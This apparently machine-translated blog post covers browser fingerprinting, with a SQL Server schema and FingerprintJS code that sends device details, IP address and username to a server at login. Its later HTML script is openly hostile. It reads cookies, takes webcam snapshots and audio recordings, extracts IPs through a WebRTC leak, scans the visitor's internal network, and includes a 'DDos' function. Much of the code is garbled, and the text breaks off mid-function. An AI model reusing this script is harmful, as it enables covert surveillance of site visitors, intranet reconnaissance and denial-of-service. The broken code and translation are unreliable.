preface
We all know that when we make a Web request, we can obtain the access information of the current machine by using the browser. At present, there are many tools or APIS on the market that can easily and quickly obtain the dynamic information of the user’s browser. The whole process is relatively simple, here as a simple note.
demand
Use front-end tools or plug-ins to obtain front-end browser information, and send the front-end information to the background database for storage during login.
Component address:
The main component to rely on here is Fingerprintjs, which is fairly detailed and easy to use.
- Fingerprintjs:github.com/fingerprint…
The demo address: TCZMH. Gitee. IO/fingerprint…
Table design
The following table is constructed according to specific requirements:
The field name | Fields that | The field type | The length of the field | Whether is empty | note |
---|---|---|---|---|---|
uuid | A primary key | varchar | 255 | no | A primary key |
fingerprint | Fingerprint ID | varchar | 255 | is | The fingerprint is a unique ID for each request |
clientTime | Request time | int | 0 | is | Request time |
userAgent | The user agent | varchar | 500 | is | |
webdriver | Network driver | varchar | 50 | is | |
language | language | varchar | 50 | is | |
colorDepth | Color depth | varchar | 50 | is | |
deviceMemory | Device memory | varchar | 50 | is | |
pixelRatio | Pixel scale | varchar | 50 | is | |
hardwareConcurrency | The hardware of concurrent | varchar | 50 | is | 16 |
screenResolution | Screen resolution | varchar | 50 | is | Long and wide |
availableScreenResolution | Available screen resolution | varchar | 50 | is | Long and wide |
timezoneOffset | The time zone offset | varchar | 50 | is | |
timezone | The time zone | varchar | 50 | is | |
sessionStorage | Whether to enable session storage | int | 0 | is | Boolean, 1 = true, 0 = false |
localStorage | Whether to enable local storage | int | 0 | is | Boolean, 1 = true, 0 = false |
indexedDb | The index of the Db | int | 0 | is | Boolean, 1 = true, 0 = false |
addBehavior | Whether there is an increase in behavior | int | 0 | is | Boolean, 1 = true, 0 = false |
openDatabase | Whether to start the database | int | 0 | is | Boolean, 1 = true, 0 = false |
cpuClass | CPU class | varchar | 50 | is | No case data, do not understand the specific meaning |
platform | platform | varchar | 50 | is | |
doNotTrack | Do not track | varchar | 50 | is | |
plugins | Browser plug-in | textarea | 0 | is | Chrome PDF Plugin; Chrome PDF Viewer; Native Client; |
canvas | The canvas | textarea | 0 | is | |
webgl | Web page | textarea | 0 | is | |
webglVendorAndRenderer | Webgl vendors and renderers | varchar | 1000 | is | |
adBlock | Db lock | int | 0 | is | Boolean, 1 = true, 0 = false |
hasLiedLanguages | Whether to forge language | int | 0 | is | Boolean, 1 = true, 0 = false |
hasLiedResolution | Whether the resolution was forged | int | 0 | is | Boolean, 1 = true, 0 = false |
hasLiedOs | Whether to forge OS | int | 0 | is | Boolean, 1 = true, 0 = false |
hasLiedBrowser | Whether to forge a browser | int | 0 | is | Boolean, 1 = true, 0 = false |
touchSupport | Touch support | int | 0 | is | In special cases, use commas |
fonts | The font | textarea | 0 | is | Support font |
fontsFlash | Font Flash | varchar | 100 | is | swf object not loaded |
audio | The media | varchar | 100 | is | 124.0434753 |
enumerateDevices | Enumeration equipment | textarea | 0 | is | d=; gid=5fd3caefe1a38ae1bc997527a026ffad |
mineType | The MIME type of the browser | int | 0 | is | 1.2.3.4 RFC-822 Standard for ARPA Internet text messages RFC-2045 MIME Part 1: Format of Internet Message Bodies RFC-2046 MIME Part 2: Media Types RFC-2047 MIME Part 3: Header Extensions for Non-ASCII Text RFC-2048 MIME Part 4: Registration Procedures RFC-2049 MIME Part 5: Conformance Criteria and Examples |
cookieEnable | Check whether cookies are enabled in the browser | int | 0 | is | Boolean, 1 = true, 0 = false |
macAddr | The MAC address | varchar | 50 | is | |
ipAddr | The IP address | varchar | 50 | is | |
systemTime | The system time | varchar | 200 | is | Fri May 28 2021 11:07:46 GMT+0800 |
enableMediaPalyer | Is there a MediaPlayer | int | 0 | is | Boolean, 1 = true, 0 = false |
enableRealPlayer | Is there a realPlayer | int | 0 | is | Boolean, 1 = true, 0 = false |
enableQuickTime | Is there a quickTime | int | 0 | is | Boolean, 1 = true, 0 = false |
SQL > create table SQL > create table SQL
-- ----------------------------
-- Table structure for browser_frontend_info
-- ----------------------------
IF EXISTS (SELECT * FROM sys.all_objects WHERE object_id = OBJECT_ID(N'[dbo].[browser_frontend_info]') AND type IN ('U'))
DROP TABLE [dbo].[browser_frontend_info]
GO
CREATE TABLE [dbo].[browser_frontend_info] (
[uuid] varchar(255) COLLATE Chinese_PRC_CI_AS NOT NULL,
[fingerprint] varchar(100) COLLATE Chinese_PRC_CI_AS NULL,
[clientTime] int NULL,
[userAgent] text COLLATE Chinese_PRC_CI_AS NULL,
[webdriver] varchar(50) COLLATE Chinese_PRC_CI_AS NULL[language] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[colorDepth] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[deviceMemory] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[pixelRatio] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[hardwareConcurrency] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[screenResolution] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[availableScreenResolution] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[timezoneOffset] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[timezone] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[sessionStorage] int NULL,
[localStorage] int NULL,
[indexedDb] int NULL,
[addBehavior] int NULL,
[openDatabase] int NULL,
[cpuClass] varchar(255) COLLATE Chinese_PRC_CI_AS NULL,
[platform] varchar(255) COLLATE Chinese_PRC_CI_AS NULL,
[doNotTrack] varchar(255) COLLATE Chinese_PRC_CI_AS NULL,
[plugins] text COLLATE Chinese_PRC_CI_AS NULL,
[canvas] text COLLATE Chinese_PRC_CI_AS NULL,
[webgl] text COLLATE Chinese_PRC_CI_AS NULL,
[webglVendorAndRenderer] text COLLATE Chinese_PRC_CI_AS NULL,
[adBlock] int NULL,
[hasLiedLanguages] int NULL,
[hasLiedResolution] int NULL,
[hasLiedOs] int NULL,
[hasLiedBrowser] int NULL,
[touchSupport] int NULL,
[fonts] text COLLATE Chinese_PRC_CI_AS NULL,
[fontsFlash] varchar(255) COLLATE Chinese_PRC_CI_AS NULL,
varchar(255) COLLATE Chinese_PRC_CI_AS NULL,
[enumerateDevices] text COLLATE Chinese_PRC_CI_AS NULL,
[mineType] varchar(255) COLLATE Chinese_PRC_CI_AS NULL,
[cookieEnable] int NULL,
[macAddr] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[ipAddr] varchar(50) COLLATE Chinese_PRC_CI_AS NULL,
[systemTime] varchar(200) COLLATE Chinese_PRC_CI_AS NULL,
[enableMediaPalyer] int DEFAULT ' ' NULL,
[enableRealPlayer] int NULL,
[loginType] int NULL,
[merchNo] varchar(255) COLLATE Chinese_PRC_CI_AS NULL,
[userName] varchar(255) COLLATE Chinese_PRC_CI_AS NULL
)
GO
ALTER TABLE [dbo].[browser_frontend_info] SET (LOCK_ESCALATION = TABLE)
GO
EXEC sp_addextendedproperty
'MS_Description', N'primary key'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'uuid'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Fingerprint ID. The fingerprint is the unique ID for each request..'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'fingerprint'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Request Time'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'clientTime'
GO
EXEC sp_addextendedproperty
'MS_Description', N'User agent'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'userAgent'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Network driven'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'webdriver'
GO
EXEC sp_addextendedproperty
'MS_Description', N'language'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'language'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Color depth'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'colorDepth'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Device memory'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'deviceMemory'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Pixel ratio'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'pixelRatio'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Hardware concurrency'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'hardwareConcurrency'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Screen resolution'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'screenResolution'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Available screen resolution'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'availableScreenResolution'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Time zone offset'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'timezoneOffset'
GO
EXEC sp_addextendedproperty
'MS_Description', N'time'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'timezone'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Enable session storage'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'sessionStorage'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Enable local storage'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'localStorage'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Index Db'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'indexedDb'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Is there an increase?'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'addBehavior'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Forged browser or not'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'openDatabase'
GO
EXEC sp_addextendedproperty
'MS_Description', N'CPU class'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'cpuClass'
GO
EXEC sp_addextendedproperty
'MS_Description', N'platform'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'platform'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Do not track'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'doNotTrack'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Browser plug-in'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'plugins'
GO
EXEC sp_addextendedproperty
'MS_Description', N'canvas'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'canvas'
GO
EXEC sp_addextendedproperty
'MS_Description', N'pages'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'webgl'
GO
EXEC sp_addextendedproperty
'MS_Description', N'WebGL Vendors and Renderers'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'webglVendorAndRenderer'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Decibel lock'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'adBlock'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Forged language or not'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'hasLiedLanguages'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Did you forge a resolution?'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'hasLiedResolution'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Is OS forged?'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'hasLiedOs'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Forged browser or not'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'hasLiedBrowser'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Touch Support'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'touchSupport'
GO
EXEC sp_addextendedproperty
'MS_Description', N'font'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'fonts'
GO
EXEC sp_addextendedproperty
'MS_Description', N'font Flash'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'fontsFlash'
GO
EXEC sp_addextendedproperty
'MS_Description', N'the media'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'audio'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Enumeration device'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'enumerateDevices'
GO
EXEC sp_addextendedproperty
'MS_Description', N'MIME type of browser'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'mineType'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Is cookie enabled in browser?'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'cookieEnable'
GO
EXEC sp_addextendedproperty
'MS_Description', N'the MAC address'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'macAddr'
GO
EXEC sp_addextendedproperty
'MS_Description', N'IP address'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'ipAddr'
GO
EXEC sp_addextendedproperty
'MS_Description', N'System time'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'systemTime'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Is there a MediaPlayer?'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'enableMediaPalyer'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Do you have a realPlayer?'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'enableRealPlayer'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Type of Login (1. merchant, 2. institution)'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'loginType'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Merchant Number'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'merchNo'
GO
EXEC sp_addextendedproperty
'MS_Description', N'Username'.'SCHEMA', N'dbo'.'TABLE', N'browser_frontend_info'.'COLUMN', N'userName'
GO
-- ----------------------------
-- Primary Key structure for table browser_frontend_info
-- ----------------------------
ALTER TABLE [dbo].[browser_frontend_info] ADD CONSTRAINT [PK__browser___7F427930F38BE804] PRIMARY KEY CLUSTERED ([uuid])
WITH (PAD_INDEX = OFF, STATISTICS_NORECOMPUTE = OFF, IGNORE_DUP_KEY = OFF, ALLOW_ROW_LOCKS = ON, ALLOW_PAGE_LOCKS = ON)
ON [PRIMARY]
GO
Copy the code
Access case code:
If it needs to run normally, it needs to introduce the corresponding tripartite code or IP to obtain the JS of the website. Here, SOhu’S IP information capture is used:
<script src="http://pv.sohu.com/cityjson?ie=utf-8"></script>
<script type="text/javascript" th:src="@{/js/front/fingerprint2.min.js}"></script>
Copy the code
Here is a simple access for API use, assembling message JSON:
function fingerDefaultConfig(){
let excludes = {};
excludes.userAgent = false;
excludes.audio = false;
excludes.enumerateDevices = false;
excludes.fonts = false;
excludes.fontsFlash = false;
excludes.webgl = false;
excludes.canvas = false;
return excludes;
}
/** * Get browser info */
function getFingerInfo(){
const start = new Date().getTime();
let excludes = fingerDefaultConfig();
let options = {excludes: excludes};
var requestParam = {};
Fingerprint2.get(options, function (components) {
/ / parameters
const values = components.map(function (component) {
return component.value
});
/ / the fingerprint
requestParam['murmur'] = Fingerprint2.x64hash128(values.join(' '), 31);
// Request time
requestParam['time'] = (new Date().getTime() - start);
for (const c of components) {
requestParam[c['key']] = c['value'];
}
// Get the parameters of other modules
requestParam = otherRequestParam(requestParam);
requestParam = intenetInfo(requestParam);
requestParam = timeRequestParam(requestParam);
requestParam = userRequestParam(requestParam);
wrapParamAndStart(requestParam);
});
}
function timeRequestParam(requestParam){
requestParam['systemTime'] = new Date(a);return requestParam;
}
/** * User information */
function userRequestParam(requestParam){
var loginType = $("#loginType").find('option:selected').val();
requestParam['loginType'] = loginType! =null&& loginType! =undefined ? parseInt(loginType):1;
requestParam['merchNo'] = $("#InputMerNo").val()||' ';
requestParam['userName'] = $("#InputUsername").val()||' ';
return requestParam;
}
function otherRequestParam(requestParam){
var mimeType = navigator.mimeTypes; // Arrays of all MIME types supported by the browser
var cookieEnabled = navigator.cookieEnabled; // Returns whether cookies are enabled in the user's browser
requestParam['mimeType'] = mimeType;
requestParam['cookieEnabled'] = cookieEnabled;
requestParam['enableMediaPalyer'] = checkePlugs("MediaPlayer");
requestParam['enableRealPlayer'] = checkePlugs("RealPlayer");
requestParam['enableQuickTime'] = checkePlugs("QuickTime");
return requestParam;
}
/** * Network information access *@param requestParam* /
function intenetInfo(requestParam){
requestParam['macAddr'] = returnCitySN["cname"];
requestParam['ipAddr'] = returnCitySN["cip"];
return requestParam;
}
// Check if a plug-in is installed and return the version number if so
function checkePlugs(pluginname) {
var f = "-"
var plugins = navigator.plugins;
if (plugins.length > 0) {
for (i = 0; i < navigator.plugins.length; i++) {
if (navigator.plugins[i].name.indexOf(pluginname) >= 0) {
f = navigator.plugins[i].description.split(pluginname)[1];
return f;
break; }}}return false;
}
function wrapParamAndStart(requestParam) {
start(JSON.stringify(requestParam));
}
/** * Front-end grab enabled, depending on the module used to rewrite or replace */
function start(info) {
$.ajax({
url : ROOT+"/front/record".type : 'POST'.// async: false,
dataType : 'json'.data : info,
contentType:'application/json'.success : function(data) {},error : function(e) {}}); }Copy the code
Operation effect:
Supplementary information:
Obtain front-end user access information
Users need to manually enable the permission to use or access the object. In addition, this object is mainly used by Internet Explorer.
Implementation method:
var locator = new ActiveXObject("WbemScripting.SWbemLocator");
See blog: JavaScript to get information about the client computer hardware and system
Obtaining Camera Information
The camera can be used only after the user has enabled the permission.
-
Webcamjs:pixlcore.com/demos/webca…
-
Take photos in the middle of a web page
WebcamJS has been tested in the following browsers/systems:
OS | Browser | Notes |
---|---|---|
Mac OS X | Chrome 30+ | Works — Chrome 47+ requires HTTPS |
Mac OS X | Firefox 20+ | Works |
Mac OS X | Safari 6+ | Requires Adobe Flash Player |
Windows | Chrome 30+ | Works — Chrome 47+ requires HTTPS |
Windows | Firefox 20+ | Works |
Windows | IE 9 | Requires Adobe Flash Player |
Windows | IE 10 | Requires Adobe Flash Player |
Windows | IE 11 | Requires Adobe Flash Player |
The recording
Recording, like camera information, requires user authorization.
- Github.com/xiangyuecn/…
Front-end information capture HTML:
<! DOCTYPEhtml PUBLIC "- / / / / W3C DTD XHTML 1.0 Transitional / / EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title> New Document </title>
<meta name="viewport" content="Width = device - width, initial - scale = 1.0, user - scalable = no">
<meta name="Generator" content="EditPlus">
<meta name="Author" content="">
<meta name="Keywords" content="">
<meta charset="utf-8" />
<meta name="Description" content="">
<script src="http://pv.sohu.com/cityjson?ie=utf-8"></script>
<script id=clientEventHandlersJS language=javascript></script>
<script>
var info={
ip:null.inner_ip:null.intranet: [].agent:null.geo: {support:null.error_code:null.lat:null.lon:null.address:null,},cookie:null.time:null.canvas_id:null.selfie:null.platform:null.device:null.window_screen:null.blob:null.download_speed:null}; info.cookie=document.cookie;
info.time=(new Date()).toString();
info.agent=navigator.userAgent;
function ajax(url,foo){
var xmlhttp=new XMLHttpRequest();
xmlhttp.onreadystatechange=function(){
if (xmlhttp.readyState==4 && xmlhttp.status==200) {
foo(xmlhttp.responseText);
};
};
xmlhttp.open('GET',url,true);
xmlhttp.send();
}
function bin2hex(bin){
var i=0, l=bin.length,chr,hex=' ';
for (i; i < l; ++i){
chr=bin.charCodeAt(i).toString(16);
hex+=chr.length<2 ? '0'+chr : chr;
}
return hex;
}
function detectOS(){
var sUserAgent=navigator.userAgent;
var isWin = (navigator.platform == "Win32") || (navigator.platform == "Windows");
var isMac = (navigator.platform == "Mac68K") || (navigator.platform == "MacPPC") || (navigator.platform == "Macintosh") || (navigator.platform == "MacIntel");
if (isMac) return "Mac";
var bIsIpad = sUserAgent.match(/ipad/i) = ="ipad";
if (bIsIpad) return "iPad";
var isUnix = (navigator.platform == "X11") &&! isWin && ! isMac;if (isUnix) return "Unix";
var isLinux = (String(navigator.platform).indexOf("Linux") > -1);
var bIsAndroid = sUserAgent.toLowerCase().match(/android/i) = ="android";
if (isLinux) {
if(bIsAndroid) return "Android";
else return "Linux";
}
var bIsCE = sUserAgent.match(/windows ce/i) = ="windows ce";
if (bIsCE) return "WinCE";
var bIsWM = sUserAgent.match(/windows mobile/i) = ="windows mobile";
if (bIsWM) return "WinMobile";
if (isWin) {
var isWin2K = sUserAgent.indexOf("Windows NT 5.0." ") > -1 || sUserAgent.indexOf("Windows 2000") > -1;
if (isWin2K) return "Win2000";
var isWinXP = sUserAgent.indexOf("Windows NT 5.1." ") > -1 || sUserAgent.indexOf("Windows XP") > -1;
if (isWinXP) return "WinXP";
var isWin2003 = sUserAgent.indexOf("Windows NT 5.2." ") > -1 || sUserAgent.indexOf("Windows 2003") > -1;
if (isWin2003) return "Win2003";
var isWinVista= sUserAgent.indexOf("Windows NT 6.0." ") > -1 || sUserAgent.indexOf("Windows Vista") > -1;
if (isWinVista) return "WinVista";
var isWin7 = sUserAgent.indexOf("Windows NT 6.1." ") > -1 || sUserAgent.indexOf("Windows 7") > -1;
if (isWin7) return "Win7";
var isWin8 = sUserAgent.indexOf("Windows NT 6.2." ") > -1 || sUserAgent.indexOf("Windows 8") > -1;
if (isWin8) return "Win8";
}
return "Unknow";
}
function send_info(){
var jsonText=JSON.stringify(info);
console.log(jsonText);
}
// Obtain the width and height of the screen resolution, and determine the operating system and device model
function device_platform(){
info.platform=detectOS();
info.window_screen=String(window.screen.width)+'x'+String(window.screen.height);
}
/ / photo
// Need to request permission
function selfie(){
window.URL = window.URL || window.webkitURL;
navigator.getUserMedia=navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
// Create the video element
var video=document.createElement('video'),
videoObj={'video':true},
errBack=function(error){
console.log('Video capture error: ',error.name);
info.selfie=error.name;
};
// Get media
if(navigator.getUserMedia){
navigator.getUserMedia(videoObj,function(stream){
video.src=window.URL.createObjectURL(stream);
video.play();
video.onloadedmetadata = function(e) {
setTimeout(function(){
if(info.selfie==null) {// Capture the image
var canvas=document.createElement('canvas'),
ctx=canvas.getContext('2d');
canvas.width=640;
canvas.height=480;
ctx.drawImage(video,0.0.640.480);
var image=canvas.toDataURL('image/png');
info.selfie=image;
console.log('Take selfie successful! ');
// Turn off the camera
stream.stop();
video.src=' ';
};
},3000); }; },errBack); }}/ / the recording
// Need to request permission
function voice_record(){
window.URL=window.URL || window.webkitURL;
navigator.getUserMedia=navigator.getUserMedia || navigator.webkitGetUserMedia || navigator.mozGetUserMedia || navigator.msGetUserMedia;
window.AudioContext=window.AudioContext || window.webkitAudioContext || window.mozAudioContext || window.msAudioContext;
var HZRecorder=function(stream,config){
config=config || {};
// The number of samples is 8 bits
config.sampleBits=config.sampleBits || 8;
// Sample rate (1/6 44100)
config.sampleRate=config.sampleRate || (44100/6);
var context=new window.AudioContext();
var audioInput=context.createMediaStreamSource(stream);
var recorder=context.createScriptProcessor(4096.1.1);
var audioData={
size:0.// Length of the recording file
buffer: [].// Recording cache
inputSampleRate:context.sampleRate, // Enter the sampling rate
inputSampleBits:16.// Enter the sampling digit 16
outputSampleRate:config.sampleRate, // Output the sampling rate
oututSampleBits:config.sampleBits, // Output the sampling digit 8
input:function(data){
this.buffer.push(new Float32Array(data));
this.size+=data.length;
},
// merge compression
compress:function(){
/ / merge
var data=new Float32Array(this.size);
var offset=0;
for (var i=0; i<this.buffer.length; i++){
data.set(this.buffer[i],offset);
offset+=this.buffer[i].length;
}
/ / compression
var compression=parseInt(this.inputSampleRate / this.outputSampleRate);
var length=data.length / compression;
var result=new Float32Array(length);
var index=0,j=0;
while (index<length){
result[index]=data[j];
j+=compression;
index++;
}
return result;
},
encodeWAV:function(){
var sampleRate=Math.min(this.inputSampleRate, this.outputSampleRate);
var sampleBits=Math.min(this.inputSampleBits, this.oututSampleBits);
var bytes=this.compress();
var dataLength=bytes.length*(sampleBits/8);
var buffer=new ArrayBuffer(44+dataLength);
var data=new DataView(buffer);
/ / mono
var channelCount=1;
var offset=0;
var writeString=function(str){
for (var i=0; i<str.length; i++){ data.setUint8(offset+i, str.charCodeAt(i)); }};// Resource exchange file identifier
writeString('RIFF'); offset+=4;
// Total bytes from the next address to the end of the file, i.e. file size -8
data.setUint32(offset, 36+dataLength, true); offset += 4;
// WAV file flag
writeString('WAVE'); offset+=4;
// Waveform format flag
writeString('fmt '); offset+=4;
// Filter bytes, typically 0x10 = 16
data.setUint32(offset, 16.true); offset+=4;
// Format category (PCM sampled data)
data.setUint16(offset, 1.true); offset+=2;
/ / channel number
data.setUint16(offset, channelCount, true); offset+=2;
// The sampling rate, the number of samples per second, represents the playback speed of each channel
data.setUint32(offset, sampleRate, true); offset+=4;
// Waveform data transmission rate (average bytes per second) mono × data bits per second × data bits per sample /8
data.setUint32(offset, channelCount * sampleRate * (sampleBits / 8), true); offset += 4;
// Fast data adjustment number of bytes consumed per sample mono x number of data bits per sample /8
data.setUint16(offset, channelCount * (sampleBits / 8), true); offset += 2;
// Data bits per sample
data.setUint16(offset, sampleBits, true); offset+=2;
// Data identifier
writeString('data'); offset+=4;
// The total size of the sampled data is -44
data.setUint32(offset, dataLength, true); offset+=4;
// Write the sampled data
if(sampleBits===8) {for (var i=0; i<bytes.length; i++,offset++) {
var s=Math.max(-1.Math.min(1, bytes[i]));
var val=s<0 ? s*0x8000 : s*0x7FFF;
val=parseInt(255 / (65535 / (val+32768)));
data.setInt8(offset,val,true); }}else{
for (var i=0; i<bytes.length; i++,offset+=2) {
var s=Math.max(-1.Math.min(1, bytes[i]));
data.setInt16(offset, s<0 ? s*0x8000 : s*0x7FFF.true); }}return new Blob([data], {type:'audio/wav'}); }};// Audio capture
recorder.onaudioprocess=function(e){
audioData.input(e.inputBuffer.getChannelData(0));
}
// Start recording
this.start=function(){
audioInput.connect(recorder);
recorder.connect(context.destination);
}
// Stop recording
this.stop=function(){
stream.stop();
recorder.disconnect();
}
// Get the audio file
this.getBlob=function(){
this.stop();
returnaudioData.encodeWAV(); }};// Throw an exception
HZRecorder.throwError=function(message){
console.log(message);
throw new function () { this.toString = function () { returnmessage; }}}// Whether recording is supportedHZRecorder.canRecording=(navigator.getUserMedia ! =null);
// Get the recorder
HZRecorder.get=function (callback,config){
if (callback){
if (navigator.getUserMedia){
navigator.getUserMedia(
{audio:true},
function (stream){
var rec = new HZRecorder(stream, config);
callback(rec);
},
function (error){
switch (error.code || error.name) {
case 'PERMISSION_DENIED':
case 'PermissionDeniedError':
HZRecorder.throwError('User refuses to provide information');
break;
case 'NOT_SUPPORTED_ERROR':
case 'NotSupportedError':
HZRecorder.throwError('Browser does not support hardware');
break;
case 'MANDATORY_UNSATISFIED_ERROR':
case 'MandatoryUnsatisfiedError':
HZRecorder.throwError('The specified hardware device cannot be found');
break;
default:
HZRecorder.throwError('Unable to open microphone. Exception message :' + (error.code || error.name));
break; }}); }else{
HZRecorder.throwErr('The current browser does not support recording. ');
return; }}};window.HZRecorder=HZRecorder;
var recorder;
HZRecorder.get(function (rec) {
recorder=rec;
recorder.start();
});
/ / the tape 10 s
setTimeout(function(){
var blob=recorder.getBlob();
info.blob=blob;
console.log('voice record finished.');
},10000);
}
/ / DDos attack
function DDos(site){
// CSRF
setInterval(ajax(site,function(){
console.log('DDos ',site);
}),50);
}
// Obtain the IP address, the first is the internal IP address, the second is the external IP address
function getIPs(callback){
var ip_dups = {};
var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection;
var mediaConstraints = {
optional: [{RtpDataChannel: true}};var servers = undefined;
var i = 0;
if(window.webkitRTCPeerConnection) servers = {iceServers: [{urls:"stun:stun.services.mozilla.com"}};var pc = new RTCPeerConnection(servers, mediaConstraints);
pc.onicecandidate = function(ice){
if(ice.candidate){
var ip_regex = / [0-9] {1, 3} \. ([0-9] {1, 3}) {3}) /
var ip_addr = ip_regex.exec(ice.candidate.candidate)[1];
if (ip_dups[ip_addr] === undefined) callback(ip_addr, i++);
ip_dups[ip_addr] = true; }}; pc.createDataChannel("");
pc.createOffer(function(result){
pc.setLocalDescription(result, function(){});
}, function(){});
}
function get_ip_addr(){
getIPs(function(ip, i){
if(i == 0) info.inner_ip = ip;
else if(i == 1) info.ip = ip;
});
}
// Intranet scanning
function intranet_scan(){
// Common ports
var ports = [21.22.23.25.43.80.110.137.138.139.161.170.220.443.3306.8080];
var body = document.getElementsByTagName("body") [0];
getIPs(function(ip, id){
if (id == 0) {
ip = ip.split(".");
ip.pop();
ip = ip.join(".");
for (var i = 1; i < 255; i++) {
for (var p of ports) {
var script = document.createElement("script");
var host = ip + "." + i + ":" + p;
script.src = "http://" + host;
script.onload = "info.intranet.push('"+host+"')"; body.appendChild(script); }}}}); }// Use canvas to locate a unique identifier
function canvas_id(){
var canvas=document.createElement('canvas');
var ctx=canvas.getContext('2d');
var txt='http://eular.github.io';
ctx.textBaseline='top';
ctx.font="14px 'Arial'";
ctx.fillStyle='#0ff';
ctx.fillRect(0.0.140.50);
ctx.fillStyle='#00f';
ctx.fillText(txt,2.15);
ctx.fillStyle='rgba(102,204,0,0.7)';
